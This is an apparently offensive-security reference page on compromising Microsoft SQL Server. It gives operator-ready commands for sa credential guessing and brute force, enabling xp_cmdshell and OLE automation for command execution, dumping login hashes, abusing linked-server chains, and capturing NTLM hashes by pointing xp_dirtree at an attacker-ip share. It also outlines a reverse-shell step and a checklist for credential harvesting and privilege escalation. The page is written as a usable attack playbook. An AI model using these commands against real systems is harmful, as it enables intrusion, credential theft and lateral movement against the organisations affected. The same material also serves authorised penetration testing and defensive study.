MSSQL
Microsoft SQL Server listens on TCP 1433 by default. Two operator-relevant paths into a finding: weak/default credentials on the sa (system administrator) account, and the xp_cmdshell stored procedure that lets sa-level accounts run arbitrary OS commands. Linked-server configurations let you pivot from one MSSQL instance into others - sometimes with impersonation chains that escalate privileges along the way.
# 1. Service scannmap -sV -sC -p1433 --script ms-sql-* <target>
# 2. Try default sa credsimpacket-mssqlclient sa:''@<target>impacket-mssqlclient sa:'password'@<target>impacket-mssqlclient -windows-auth DOMAIN/user:pass@<target>
# 3. Enumerate databasesSQL> select name from sys.databases;SQL> use <database>;SQL> select name from sys.tables;
# 4. Enable and use xp_cmdshellSQL> EXEC sp_configure 'show advanced options', 1; RECONFIGURE;SQL> EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;SQL> EXEC xp_cmdshell 'whoami';
# 5. List linked servers (pivot targets)SQL> EXEC sp_linkedservers;Success indicator: successful sa login, command execution via xp_cmdshell, or sp_linkedservers revealing pivot paths to other database hosts.
Protocol overview
Section titled “Protocol overview”MSSQL uses Microsoft’s proprietary TDS (Tabular Data Stream) protocol over TCP 1433 by default. SQL Server can also be configured for:
| Port | Use |
|---|---|
| TCP 1433 | Default instance |
| UDP 1434 | SQL Browser service - answers “which port is instance X on?” queries |
| TCP dynamic | Named instances - port chosen at startup, registered with SQL Browser |
| TCP 4022 | Service Broker (rare in practice) |
| TCP 5022 | AlwaysOn availability group endpoints |
Most external-facing deployments use the default instance on 1433. Named instances on dynamic ports are common in internal AD environments - query the SQL Browser on UDP 1434 to discover them.
Authentication modes
Section titled “Authentication modes”| Mode | How it works |
|---|---|
| SQL Server authentication | Username + password, validated against MSSQL’s own sys.syslogins table. Includes the built-in sa account. |
| Windows authentication | NTLM or Kerberos, validated against the local SAM or AD domain. SQL Server checks the Windows token against sys.server_principals. |
| Mixed mode | Both enabled. Default for most installs that need sa for application backends. |
| Windows-only mode | Only Windows auth allowed. sa exists but is disabled. The hardened option. |
When you see Mixed Mode plus an exposed 1433, the sa account is the first thing to test.
Default databases
Section titled “Default databases”Every MSSQL instance has these system databases:
| Database | Purpose |
|---|---|
master | Server-level config - logins, server settings, linked servers |
model | Template used when creating new databases |
msdb | SQL Agent jobs, backup history |
tempdb | Recreated at startup, used for temp tables and intermediate query results |
Resource | Hidden - read-only definitions of all system objects |
master.sys.syslogins and master.sys.server_principals are where login info lives.
Default configuration
Section titled “Default configuration”Modern MSSQL installs (2017+) are reasonably secure by default:
salogin disabled in Windows-only auth mode- Network protocols restricted to specific addresses
xp_cmdshelldisabled- TLS encryption for the wire protocol enabled
- Audit logging on for security-relevant events
Legacy installs (2008, 2012, 2014) and admin-customized configs frequently deviate.
Dangerous settings
Section titled “Dangerous settings”| Setting | What it enables |
|---|---|
Mixed Mode + empty/weak sa password | Direct RCE path once credentials are guessed |
xp_cmdshell enabled (sp_configure 'xp_cmdshell', 1) | Stored procedure that runs shell commands. Requires sa or db_owner of master. |
Ole Automation Procedures enabled | sp_OACreate and friends - another RCE path |
Ad Hoc Distributed Queries enabled | OPENROWSET against remote sources - exfil and SSRF-like primitives |
external scripts enabled | Runs Python / R scripts. Each can be turned into RCE. |
| TRUSTWORTHY databases | Database can execute code with elevated server privileges |
| Linked servers with cached credentials | Allows pivoting to other DBs as the linked-login user |
Use Original Login on Linked Server (rpcout = true) | Linked-server queries impersonate the caller - chains of trust to abuse |
secure_file_priv (no MSSQL equivalent - file ops via xp_cmdshell or BULK INSERT) | Same effect via different mechanism |
CLR enabled | .NET assemblies loaded into SQL Server - sandbox-escape paths exist |
The classic finding chain: Mixed Mode + weak sa + xp_cmdshell enabled (or enable-able by sa) = unauthenticated remote attacker gets command execution as the MSSQLSERVER service account, which on most installs is NT Service\MSSQL$INSTANCENAME - a built-in account with broad local access.
Footprinting commands
Section titled “Footprinting commands”Service scan
Section titled “Service scan”sudo nmap 10.129.14.128 -sV -p1433 --script ms-sql-info,ms-sql-empty-password,ms-sql-ntlm-infoPORT STATE SERVICE VERSION1433/tcp open ms-sql-s Microsoft SQL Server 2019 15.00.2000.00| ms-sql-info:| 10.129.14.128:1433:| Version:| name: Microsoft SQL Server 2019 RTM| number: 15.00.2000.00| Product: Microsoft SQL Server 2019| Service pack level: RTM| TCP port: 1433| ms-sql-ntlm-info:| 10.129.14.128:1433:| Target_Name: DOMAIN| NetBIOS_Domain_Name: DOMAIN| NetBIOS_Computer_Name: SQL01| DNS_Domain_Name: domain.local| DNS_Computer_Name: SQL01.domain.local| DNS_Tree_Name: domain.local|_ Product_Version: 10.0.17763| ms-sql-empty-password:|_ No login with empty password.Two valuable data points here even without successful login:
ms-sql-info- exact version (2019 RTM). Match to CVE list for SQL Server.ms-sql-ntlm-info- leaks the AD domain (DOMAIN), full FQDN (SQL01.domain.local), and Windows version (10.0.17763= Server 2019). The SQL Server returned this from a pre-auth NTLM negotiation that you triggered without credentials. Gold for AD recon.
Other useful NSE scripts:
ms-sql-brute # credential brute-forcems-sql-config # configuration enumeration (needs creds)ms-sql-dac # try the Dedicated Admin Connectionms-sql-dump-hashes # password hash dump (needs creds)ms-sql-empty-password # test empty password on default accountsms-sql-info # banner / versionms-sql-ntlm-info # AD intel via NTLM challengems-sql-query # run a query (needs creds)ms-sql-tables # list tables (needs creds)ms-sql-xp-cmdshell # test xp_cmdshell (needs sa)Connecting with impacket-mssqlclient
Section titled “Connecting with impacket-mssqlclient”impacket-mssqlclient is the operator-friendly client. It supports both SQL auth and Windows auth (NTLM relay, pass-the-hash, Kerberos):
# SQL authenticationimpacket-mssqlclient sa:'P4ssw0rd!'@10.129.14.128
# SQL auth, empty passwordimpacket-mssqlclient sa:''@10.129.14.128
# Windows authenticationimpacket-mssqlclient -windows-auth DOMAIN/svc_sql:'Pass'@10.129.14.128
# Pass-the-hash
# Kerberos (with TGT in KRB5CCNAME)Successful connection:
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation
[*] Encryption required, switching to TLS[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192[*] INFO(SQL01): Line 1: Changed database context to 'master'.[*] INFO(SQL01): Line 1: Changed language setting to us_english.[*] ACK: Result: 1 - Microsoft SQL Server (150 7208)[!] Press help for extra shell commandsSQL>Database enumeration
Section titled “Database enumeration”SQL> select name from sys.databases;name------------mastertempdbmodelmsdbReportServerCRM_ProductionHRPortalfinance_db
SQL> use CRM_Production;
SQL> select name from sys.tables;name-----------------CustomersOrdersLoginAttemptsAPITokensSystemUsers
SQL> select * from SystemUsers;SQL> select column_name from information_schema.columns where table_name = 'SystemUsers';User and role enumeration
Section titled “User and role enumeration”-- Current login and database userSQL> select system_user, current_user;
-- All logins on the server (login = server-level, user = database-level)SQL> select name, type_desc, is_disabled from sys.server_principals where type in ('S','U','G') and name not like '##%';
-- Server-level role membersSQL> select sp.name as login, r.name as role from sys.server_role_members rm join sys.server_principals sp on rm.member_principal_id = sp.principal_id join sys.server_principals r on rm.role_principal_id = r.principal_id;
-- Check if current login is sysadminSQL> select is_srvrolemember('sysadmin');-- Returns 1 if yesPassword hash extraction
Section titled “Password hash extraction”Requires sysadmin (sa-equivalent):
SQL> select name, password_hash from sys.sql_logins;name password_hashsa 0x0200<...> -- SHA-512 (since 2012), SHA-1 (older)svc_app 0x0200<...>report_ro 0x0200<...>Hashcat modes:
-m 1731- MSSQL 2012+ (SHA-512 based)-m 132- MSSQL 2005 (SHA-1, no salt - easy)-m 131- MSSQL 2000 (SHA-1, simpler - easier still)
xp_cmdshell to command execution
Section titled “xp_cmdshell to command execution”-- Check current stateSQL> EXEC sp_configure 'xp_cmdshell';-- column "run_value": 0 means disabled, 1 means enabled
-- Enable (requires sysadmin)SQL> EXEC sp_configure 'show advanced options', 1;SQL> RECONFIGURE;SQL> EXEC sp_configure 'xp_cmdshell', 1;SQL> RECONFIGURE;
-- Run a commandSQL> EXEC xp_cmdshell 'whoami';output----------------------------nt service\mssql$sqlexpress
SQL> EXEC xp_cmdshell 'powershell -e <base64 cmd>';The output column streams stdout from the executed command. impacket-mssqlclient has a built-in shorthand for this:
SQL> enable_xp_cmdshellSQL> xp_cmdshell whoamiThe shell runs as the SQL Server service account. By default that’s NT Service\MSSQL$<INSTANCE> - a low-privilege built-in account on hardened installs, but on many production deployments it’s a domain user with db_owner or local administrator permissions for the SQL host.
Alternative RCE paths (when xp_cmdshell is locked down)
Section titled “Alternative RCE paths (when xp_cmdshell is locked down)”If xp_cmdshell is disabled and you don’t have rights to re-enable it:
-- Ole AutomationSQL> EXEC sp_configure 'show advanced options', 1; RECONFIGURE;SQL> EXEC sp_configure 'Ole Automation Procedures', 1; RECONFIGURE;SQL> DECLARE @cmd INT; EXEC sp_OACreate 'WScript.Shell', @cmd OUTPUT; EXEC sp_OAMethod @cmd, 'Run', NULL, 'cmd.exe /c whoami > C:\temp\out.txt';
-- CLR assembly (the "robust" path - survives many SQL hardening configurations)-- Requires writing a custom .NET assembly, signing, importing via CREATE ASSEMBLY,-- then CREATE PROCEDURE pointing at it. See PowerUpSQL for automation.
-- agent_jobs (when SQL Agent service is running)SQL> EXEC msdb.dbo.sp_add_job @job_name = 'pwn';SQL> EXEC msdb.dbo.sp_add_jobstep @job_name = 'pwn', @step_name = 'pwn1', @subsystem = 'CmdExec', @command = 'cmd.exe /c whoami > C:\temp\out.txt';SQL> EXEC msdb.dbo.sp_add_jobserver @job_name = 'pwn';SQL> EXEC msdb.dbo.sp_start_job 'pwn';Each of these has different prerequisites and detection footprint. xp_cmdshell is the loudest but simplest; CLR is the stealthiest but most setup.
Linked servers
Section titled “Linked servers”Linked servers are MSSQL’s mechanism for federating queries across instances. When configured with cached credentials, they’re a pivot path:
SQL> EXEC sp_linkedservers;SRV_NAME SRV_PRODUCT PROVIDER_NAME DATA_SOURCESQL01 SQL Server SQLNCLI SQL01 -- this serverSQL02 SQL Server SQLNCLI SQL02 -- linkedDC01-DATA SQL Server SQLNCLI DC01-DATA.dom -- another linkRun a query on a linked server:
SQL> SELECT * FROM OPENQUERY([SQL02], 'SELECT system_user');Whose credentials are used depends on the link config - SELF/Current login uses your token, Specified uses cached static creds. For chains:
-- If SQL02 has a link back to SQL03, you can chain:SQL> SELECT * FROM OPENQUERY([SQL02], 'SELECT * FROM OPENQUERY([SQL03], ''SELECT system_user'')');xp_cmdshell over linked servers - requires the linked login to have sa on the remote - completes the chain to RCE on the linked host:
SQL> EXECUTE ('EXEC xp_cmdshell ''whoami''') AT [SQL02];PowerUpSQL automates link discovery and abuse - it walks the entire link graph and tells you which paths reach sa privilege.
NTLM theft via xp_dirtree / xp_fileexist
Section titled “NTLM theft via xp_dirtree / xp_fileexist”A trick for unauthenticated NTLM hash capture from MSSQL service account when you have query access:
SQL> EXEC master..xp_dirtree '\\<attacker-ip>\share', 1, 1;xp_dirtree makes the SQL Server connect to the attacker-controlled UNC path with the service account’s credentials. Catch the NTLM authentication with responder or inveigh on your attack box:
sudo responder -I tun0The captured NTLMv2 hash goes into hashcat -m 5600 for offline cracking, or ntlmrelayx.py for live relay against another service in scope.
Brute-force
Section titled “Brute-force”hydra -L users.txt -P passwords.txt mssql://10.129.14.128crackmapexec mssql 10.129.14.128 -u sa -p passwords.txt# NSE script (default port, no creds needed)sudo nmap -p1433 --script ms-sql-brute --script-args \ userdb=users.txt,passdb=passwords.txt 10.129.14.128Common chained workflows
Section titled “Common chained workflows”sa weak creds → xp_cmdshell → service account shell:
impacket-mssqlclient sa:Pass@target- Enable
xp_cmdshellandshow advanced options xp_cmdshell 'powershell -e <b64>'for a reverse shell to your handler- From the SQL service account, run local-priv-esc tools
Limited login → linked-server chain → sa elsewhere:
- Login with non-sysadmin account
sp_linkedserversreveals links to other instancesOPENQUERYchain hits a link where you havesadue to misconfig- RCE on that other instance, repeat
NTLM theft → relay → AD compromise:
- Any account that can
xp_dirtree respondercatches NTLMv2 from MSSQL service account- If service account is over-privileged in AD, relay it to LDAP for ACL abuse
SQL injection on web app → MSSQL backend → server compromise:
- SQLi in a web app (see SQL Injection)
- Identify MSSQL backend via syntax errors or fingerprinting
- Stack SQL injection to enable
xp_cmdshell - Get RCE on the DB host without ever having creds
Quick reference
Section titled “Quick reference”| Task | Command |
|---|---|
| Service scan | nmap -sV --script ms-sql-* -p1433 <target> |
| AD intel via NTLM | nmap --script ms-sql-ntlm-info -p1433 <target> |
| Connect (SQL auth) | impacket-mssqlclient sa:Pass@<target> |
| Connect (Windows auth) | impacket-mssqlclient -windows-auth DOMAIN/user:pass@<target> |
| Pass-the-hash | impacket-mssqlclient -windows-auth -hashes :<NT> DOMAIN/user@<target> |
| List databases | SELECT name FROM sys.databases; |
| List tables | SELECT name FROM sys.tables; |
| Current user | SELECT system_user, current_user; |
| Am I sysadmin? | SELECT is_srvrolemember('sysadmin'); |
| Dump login hashes | SELECT name, password_hash FROM sys.sql_logins; |
| Enable xp_cmdshell | EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; |
| Run command | EXEC xp_cmdshell 'whoami'; |
| List linked servers | EXEC sp_linkedservers; |
| Query linked server | SELECT * FROM OPENQUERY([SQL02], 'SELECT system_user'); |
| NTLM capture | EXEC master..xp_dirtree '\\\\<attacker-ip>\\share', 1, 1; |
| Brute force | hydra -L users -P pass mssql://<target> |
Next move
Section titled “Next move”- Got
saor admin via brute / SQLi / default creds → enable xp_cmdshell and pop a shell (reconfigure; exec sp_configure 'xp_cmdshell',1; reconfigure; exec xp_cmdshell 'whoami') - xp_cmdshell disabled and reconfigure blocked → try alternative RCE paths (CLR assembly, OLE Automation, agent jobs)
xp_cmdshell whoamireturns service account → confirmSeImpersonateis held, then chain into SeImpersonate → SYSTEM via potato (this is the canonical MSSQL → SYSTEM path)- NTLM theft worked (
xp_dirtreecallback hit Responder) → captured hash is the SQL service account; crack offline (hashcat mode 5600) or relay to other hosts with ntlmrelayx - Linked servers visible →
EXEC ('command') AT [LINKED_SERVER]- chain through to internal databases not directly reachable from your network position - Got non-admin credentials → enumerate role memberships (
SELECT IS_SRVROLEMEMBER('sysadmin')); check forIMPERSONATEpermission on higher-privileged logins (escalation primitive without needing sa) - Read access to interesting databases → dump credentials tables, app secrets, integration tokens; try harvested credentials against SMB and other services on the same network
- Nothing works with current creds → password-spray, check public sources for default install creds, or pivot to other services on the host - SMB and WinRM may have weaker auth